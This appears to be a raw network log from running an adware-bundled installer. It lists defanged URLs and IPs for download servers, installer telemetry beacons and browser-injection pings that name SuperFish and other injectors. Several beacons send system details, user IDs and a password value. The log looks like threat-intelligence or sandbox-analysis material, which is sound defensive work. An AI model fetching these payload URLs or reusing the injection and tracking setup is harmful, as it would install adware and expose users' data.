hxxp://rep.shopper-pro.com/app/ping.ashx?e=M7A8vgjJHrj4MZomVx105VgUZ2tCcksvS9GCi10oLZ5P XtorcoTKl9JmdJZXAb1wbkcTiNWmo/wleHdxuxplDwRWvE0PuWdfYWeTugkIGZ XTIrvDDxtA37FbUT3L5jr6dmpd8In99kSHjLnneUtzqkAeJCtlEnQsrZpPdA9jjPCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GjzMz0syfyzMd8ze3LFFF4GTIU2geBn6OPpl76kDGEz8baSkebcaIK z/UIp1kWEsTYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2cp9ILLnJI8o5l6kGsLGUjlAO3ZfaMMISYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE29Sngt7Zf/x915iFE4945e4	173.239.4.105
hxxp://www.google.com/	173.194.113.212
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Inject&text=SuperFish	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Inject&text=PriceGong_DealPly	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Inject&text=GeneralInjector	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Inject&text=JollyWallet	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Inject&text=GoobzoInfo	173.239.4.105
hxxp://a1284.g.akamai.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://www.google.com.ua/?gfe_rd=cr&ei=ddvrVNzJHY-u8wfPu4HQCg	173.194.113.207
hxxp://rep.shopper-pro.com/app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCJ/TkbZ2czqAdMPCqZ 81A7c 6Z9uWa7kH0QpZ Jj0 v3D2calArHLtc1NGfCEK5Hv7Dni2x5uCyQ9DwXtKsNpv8SaNRCRsmETynsL3GEE9TeRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhAH9x2JP35eH9jYXKPEn7E9qoqdLSvfaIv8pU7ch29iGLS92Fq5g8UGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgt4T3HqLJ/VO6CT26NwNt2JrxF1AG2DerIR1sKxPFdTenMA0Kr2gT8ptsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxeYneqzwGmJHRECc5dSqqUA=	173.239.4.105
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424743307&SBPIDS=0	212.143.22.214
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=738929&mode=nolsp	107.20.238.80
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.finish	65.255.35.150
hxxp://www.inisxriy.com/infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d	50.23.120.57
hxxp://www.inisxriy.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip	50.23.120.57
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=741597&mode=nolsp	107.20.238.80
hxxp://rep.shopper-pro.com/app/ping.ashx?e=k64GogClQtXdHJbbDm7BwGZ7lbP1mZCG3RDD4M2MKnlkNeKJ xgctdGdqHePycrYkgTqbaWGToUekaCddE1NLOgga322f3p0fD6sFy6LlDEeU1 iuCr9NrXfmMF1YJpfvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq27PG9jP dJwhfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1qRNOqwwuFyj0 0cMtGNyywAxYoVuMAV9tXCHiMucx6i2/WJ2G9upmyM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VePJP/73oX7JAjsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9Bn2i9ceuXU1hfCqXqcp6BQ=	173.239.4.105
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.wpm	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ient	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt	65.255.35.150
hxxp://www.inifkhjr.com/files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe	50.23.120.54
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.RegWrite	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action1=install.smt	65.255.35.150
hxxp://up.soft365.com/Fan/rebirth?uid=535559167_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch	174.36.247.67
hxxp://xa.xingcloud.com/v4/searchprotect/535559167_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install	65.255.35.150
hxxp://xa.xingcloud.com/v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716	65.255.35.150
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&0.15930903485743375
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&0.4503510746297179
hxxp://sourceapp.info/mg?alpha=MBJOInguIQwpFUgWYQh3D1sMMX1uAUoeOEsfEyUmZRZjdD1zLRlZFDRSJiwqGARWAXZDYT0kTy4QAnZsNjYvIw5eFXg7Cxc/WC4pWkFhGHdyDkhzJCYXG0N4RnxMfWQ2QxIpfWVuTkkWMlBSJClsBEt3BDByeWM3b0lffytkUW9zA14QBjt a0teLS9NGDhNcHUKXi5iKxQNCyYVcU0zBldyCzgx
hxxp://sourceapp.info/mg?alpha=MBJOIngOWHd0Q3NWYQh3MVYdL3gwVExTekB+OGhnQkMPQg8Wa1NQYzBUTywrb3VWdgQwYVQlT1plH3dqIxp0Lw1IRVJtc2AhQzZrVi9y
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en	65.255.35.150
hxxp://sourceapp.info/mg?alpha=Mw4XIkIoFHYgOHE2OAhNDEdVMUdtUngyXB8NKw==
hxxp://sourceapp.info/fp?alpha=OgcnIFgTBDdkQzIoCApXO0N0LVg6WzFRGR0GZj8EPRMqIB44diVQNExNOFIJe2dQBiEndTwgHjsJdH8/IlNbICsgABBKL2tSNTNOH1NcLUd5BiRsBi0fcFRdRGknYk0/U2Y0XGp9Ll80PUA7OwpgFCp0Jzt5SSYHJwF2flhtEQUtSClCNH4Ldl43NQkSF1lOSikbMXZVPFN6TF1NeSM3WW1fazVZf3onRjAxVWkkGTUWMidwKiVLNEh7DBYkEWoMAmg+MFA2ZAA0B25yVBNEQTI+DA1zM1AhAHJdWUxvJWBSbRUnOzo2JXMJcXtVT3NfM092IGZUPUorGSIGdEZYehcCdCMlBW08Wh9eNzh8TgAgU1wNHiBsdSUBdkFZTG8sEEZPUQlCKW0BWlMFazNW
hxxp://sourceapp.info/ii?alpha=OgcnIFgjSExaYwoWCApXO0N0LVg6WysIVQ80MzEdaFttZx0vdkQJc3oWbldJJgd7M3F4CB0vGCYAc2JOPUxZIzBVDWc6X21NaGYAB1Y+DQc4GmQgEm9Vf15eTh0tYTA8Sw1ELmpmIyM0PFgzJAoXDCN1JD8FTFdsVwF/eFhiFFYjOBIIZzxfbkUxJxNEBE9PUnodIHcSeFckLhoTZHw3DHwKJHQIeS9yAER6Gl0rCGYPImstOHFJPBsgBHR9WGgHBFxxBwgAX0g0GHVsTRMKNhcELERmMhg8BHZBChUtMz0HegM5OyA2KGUJdWcTfzZuP092KmN5YU4yemReICkNfAsEfn8IFRssTi0Oc2ZUGVlBREp+BSBvAyoCc0wbGStjOxdpRjtnDjRrLUY3JkUteUo6QHwiKU8vHn5DZVlmZCthCx91ekRmIW0aPhgoM1MAClVYBHpbLDgSfUR/VVhQaCVgUmEHdjZdZX4nXDM+TzknA2YQKHIgLCUNL3xbRic+GyNCPV1pBUcwLDgyGXVgXBoXMl45C3hYYXB1QSlMLBkvfDERKgMlZVBubW1bN21kSXl8OUM=
hxxp://sourceapp.info/if?alpha=OgcnIFhtWFd7bgwCCApXO0N0LVg6WysIVQ80MzEdaFttZx0vdkQJc3oWbldJJgd7M3F4CB0vGCYAc2JOPUxZIzBVDWc6X21NaGYAB1Y+DQc4GmQgEm9Vf15eTh0tYTA8Sw1ELmpmIyM0PFgzJAoXDCN1JD8FTFdsVwF/eFhqAVZDdgFZOUUAMh9KfFEaZBYXHitDNyxCIQFkGlVOaSRnWjxUZTRecXovVDA5Qy1yXDBjYCopYyQBYkZ5QyNqGmoEKWJxMghkPEBrRTgnDUYZUEhfeho3JlFzfi0PVSkKMz0HeB87Y1AIInkCaX8GJzYPYgxwLGAsLgpkT2QMCyUdfQ0Yf3gQFQJlAD8EdmYdQRcxDAUuTmIyXXNcIwBIMnk1JBF+FSJpA39xN1AoOVs8IAlnAWEgZnwoGncKZlAlJ141Qlo+LkJaJmAPNQw8UFMRWwgNAmgDRC9daFcmTDsIOGE3ByVAJXBQa215VHY1DC13T2sYImklOnNff0srAXZ2Sz9YXiYkVgRvPF9hXDUzWQIKNzMdKVl0bRRKfzUNGhl5QzsGeBMqak0Ma0QlVUFVT39KPQFWIGJjIhwVS2hjTCZf
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&0.5635600176559371
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=appshat_madness&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=4&index_in_screen=1&index_in_session=4&0.7773159911475602
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe
hxxp://errors.crossrider.com/utility.gif?error=start&report=mini_s&ver=820&action=na&ms_vr=3&clock=0&rnd=15053	208.85.150.249
hxxp://bigspeedpro.com/webplayer/appshat/config.json
hxxp://appshat.com/images/64x64.ico
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=10&n=ms_started&rnd=23793	208.85.150.249
hxxp://appshat.com/images/16x16.ico
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=20&n=ms_start_download&rnd=31064	208.85.150.249
hxxp://appshat.com/home
hxxp://appshat.com/css/main.css
hxxp://appshat.com/css/product.css
hxxp://appshat.com/css/style.css
hxxp://appshat.com/css/lightbox.css
hxxp://appshat.com/js/scripts.js
hxxp://googleadapis.l.google.com/css?family=Abel
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.7.2/jquery.min.js
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=appshat_madness&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=4&index_in_screen=1&index_in_session=4&0.8468983119148188
hxxp://appshat.com/js/jquery.smooth-scroll.min.js
hxxp://appshat.com/js/lightbox.js
hxxp://appshat.com/images/logo.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/c/1/c16ddcefe8d9f0d1f850dfcd8f36687d.jpg
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_b
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_d
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_e
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_a
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_c
hxxp://appshat.com/thumbnails/banner/images/assets/0/d/0d2eb87d6982e1321cd3e3735ca5ca4c.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png
hxxp://www.google.com.ua/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot	173.194.113.207
hxxp://appshat.com/thumbnails/icon/images/assets/f/1/f1ed3cd0cae7a3524376e6f9369c7ab8.png
hxxp://app.easy-burner.com/gv/en/easyburner.msi	178.33.88.174
hxxp://appshat.com/thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png
hxxp://appshat.com/thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png
hxxp://appshat.com/thumbnails/icon/images/assets/a/c/ac5196fbf245580eee113296dff14d0b.png
hxxp://appshat.com/images/3.5stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/3/6/36d7cd00f07003a67021237993257d08.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/8/58d196b3e886a838d021adc8c8848f1e.png
hxxp://appshat.com/thumbnails/icon/images/assets/0/0/00c73f6d4e4eb25289dddb86e2d1e319.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/c/c/cc3148e57a2928cd1ada1bbea553c3c2.png
hxxp://appshat.com/images/bg_main.jpg
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=30&n=ms_download_success&rnd=24860	208.85.150.249
hxxp://appshat.com/images/logo_illust.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png
hxxp://appshat.com/thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png
hxxp://appshat.com/thumbnails/icon/images/assets/a/6/a64a4b5c68c364d30083fbd0b0363585.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png
hxxp://appshat.com/thumbnails/icon/images/assets/b/8/b85261679e262228a562f693b3e6ef6f.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=35&n=ms_about_to_exc&rnd=25239	208.85.150.249
hxxp://appshat.com/thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png
hxxp://appshat.com/thumbnails/icon/images/assets/e/9/e94782c9200f8de809a50327879df1cc.png
hxxp://appshat.com/images/btn_bg.jpg
hxxp://appshat.com/images/close.png
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1424743349
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?fec9cd7b0db89256
hxxp://ipgeoapi.com/	23.21.169.234
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCEFIA5aolVvwahu2WydRLM8c=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTSqZMG5M8TA9rdzkbCnNwuMAd5VgQUz5mp6nsm9EvJjo/X8AUm7+PSp50CEF1tL3zAt8MdpkWloaIHgTk=
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?b43cffd895636b28
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_26&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=CR7Team&mdat=&procstarttime=1424743349&procruntime=3&rnd=1424743352
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=CR7Team&procstarttime=1424743349&procruntime=4&rnd=1424743353
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1424743349&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1424743349
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1424743354
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1424743354
hxxp://app.easy-burner.com/step.php?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&mso=5&mss=3&stepid=0&sk=06815052e487038e0a95cd9d81b01f94	178.33.88.174
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1424743355
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1424743356
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1424743356
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1424743356
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1424743356
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1424743356&SBPIDS=0	212.143.22.214
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1424743356
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1424743358
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1424743358
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1424743358
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1424743359
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1424743359
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=65743&appver=&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_26&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=CR7Team&procstarttime=1424743349&procruntime=12&rnd=1424743361
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1424743349&lifetime=0&silent=1&crtnm=CR7Team&procstarttime=1424743349&procruntime=12&rnd=1424743361
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1424743349&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1424743349
hxxp://errors.crossrider.com/utility.gif?error=done_mem_0&report=mini_s&ver=820&action=na&ms_vr=3&clock=17472&rnd=11061	208.85.150.249
hxxp://www.theviilage.com/windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1714&uid=&upv=	208.43.69.149
hxxp://a1621.g.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1621.g.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1621.g.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://app.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1	178.33.88.174
hxxp://app.easy-burner.com/css/reseter.css	178.33.88.174
hxxp://app.easy-burner.com/css/default.css	178.33.88.174
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KC46TpkJIZzYLhsRuGeUaZ/TkbZ2czqAOcRGgC5fn 3ZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0na7uLSNjM/3n1AHxkNs3eJBHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOwjWdMx1sxb271VN37FwWpuzjS2DwEV0f4XlC/BpVyNn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpk/46kL52LbTBNQ4ACwc/17m2whhxWxfzJH5X7Vd7XRVl0z0yHeX1jF3hvsW0zelg9UGxkElMpB3fcOY2s95kJe	173.239.4.105
hxxp://app.easy-burner.com/images/logo.png	178.33.88.174
hxxp://pagead.l.doubleclick.net/pagead/conversion.js
hxxp://app.easy-burner.com/en/software/pixel?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&ua=Internet Explorer 10.0&sys=Windows 7&cookie=-1	178.33.88.174
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js	94.31.29.248
hxxp://fallback.global-ssl.fastly.net/js/250/addthis_widget.js
